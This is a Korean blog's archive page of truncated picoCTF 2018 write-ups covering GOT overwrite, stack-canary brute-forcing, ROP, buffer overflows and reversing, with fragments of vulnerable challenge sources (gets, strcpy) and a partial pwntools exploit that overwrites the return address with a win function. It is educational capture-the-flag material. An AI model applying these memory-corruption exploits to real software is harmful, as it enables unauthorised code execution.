일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- pwn
- BOF
- PMA
- anti
- 2018
- rev
- CANARY
- pwnable.kr
- TUCTF
- ASM
- shellcraft
- Bottle
- Reverse
- format
- pico
- Bug
- Toddler's Bottle
- Read
- reversing
- Leak
- picoCTF
- shellcode
- toddler
- practicalmalwareanalysis
- pwnable
- writeup
- string
- CTF
- FSB
- Rookiss
- Today
- Total
목록CTF (42)
제리의 블로그
got-shell? - Points: 350 - (Solves: 430)요약 본 문제는 GOT Overwrite 문제입니다. 문제 서버에 접속해보면 address 와 value 를 입력받습니다.auth.c 소스코드를 확인해보니 16진수 값으로 입력받은 두 값을 이용해서특정 위치의 값을 덮어씌울 수 있었습니다. GOT Overwrite 가 일어날 조건도 충족하고 있으므로타겟을 puts 로 잡고 win() 함수로 덮어씌우면쉘을 획득하여 플래그를 확인하는 문제였습니다. Description Can you authenticate to this service and get the flag? Connect to it with nc 2018shell2.picoctf.com 54664. Source Writeup # ..
be-quick-or-be-dead-3 - Points: 350 - (Solves: 260) 요약재귀적 함수 호출이 엄청 많이 일어나는 calc() 연산을반복적 함수 호출로 코드를 바꿔서 연산하면시간복잡도가 선형 시간을 갖게되어 연산에 걸리는 시간을 확연히 줄일 수가 있습니다. 재귀함수 호출 대신 연산 결과값을 바이너리 패치를 통해 넣어주고해당 바이너리를 실행시켜주면 플래그가 나오게 됩니다. Description As the song draws closer to the end, another executable be-quick-or-be-dead-3 suddenly pops up. This one requires even faster machines. Can you run it fast enough to..
keygen-me-2 - Points: 750 - (Solves: 105) 요약 z3 solver 로 풀었습니다. Description The software has been updated. Can you find us a new product key for the program in /problems/keygen-me-2_4_3cb8c5fbaa87ce402753132dd68f9003solve.py from z3 import * ord = lambda a1 : If(And(0x41
picoCTF 2018 can-you-gets-me Binary Exploitation 요약바이너리가 static compile 되어있어서 ROP gadget 모으기 수월하다.입력받는 함수는 gets로 입력 길이 제한이 없다. DescriptionCan you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40 on the shell server. Source. 플래그를 얻..
요약4바이트 길이의 canary 값이 고정되어 있기 때문에 1바이트씩 '\x00' 부터 '\xff' 까지 넣어봐서 "stack smash" 가 뜨는지 확인하면 "4xV," 가 canary 임을 알 수 있고 이제 RET에 flag를 출력해주는 함수 elf.sym.win 로 덮어씌워주면 해결된다. from pwn import * import string import sys #context.log_level = 'error' e = ELF('./vuln') CANARY = '4xV,' CANARY_LEN = len(CANARY) print(CANARY_LEN) len = 32 + CANARY_LEN + 0x10 + 4 #for c in range(0x100): p = process('./vuln') p.rec..
Description What does asm3(0xb3fb1998,0xfe1a474d,0xd5373fd4) return? Submit the flag as a hexadecimal value (starting with '0x'). NOTE: Your submission for this question will NOT be in the normal flag format. Source located in the directory at /problems/assembly-3_0_64e940c92852f106e798ceac9b22aa25. end_asm_rev.S: .intel_syntax noprefix .bits 32 .global asm3 asm3: push ebp mov ebp,esp mov eax,0x..
programSource #include #include #include #include #include #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vu..
program void *read_input() { void *result; // eax@2 int v1; // edx@4 void *v2; // [sp+0h] [bp-18h]@1 char v3; // [sp+4h] [bp-14h]@1 int v4; // [sp+8h] [bp-10h]@1 int v5; // [sp+Ch] [bp-Ch]@1 v5 = *MK_FP(__GS__, 20); v2 = 0; v4 = getline(&v2, &v3, stdin); if ( v4 == -1 ) { puts("No line read..."); result = &unk_8048882; } else { result = v2; } v1 = *MK_FP(__GS__, 20) ^ v5; return result; } int do..
void header() { unsigned int i; // [sp+Ch] [bp-4h]@1 puts("Be Quick Or Be Dead 1"); for ( i = 0; i
programSource #include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please con..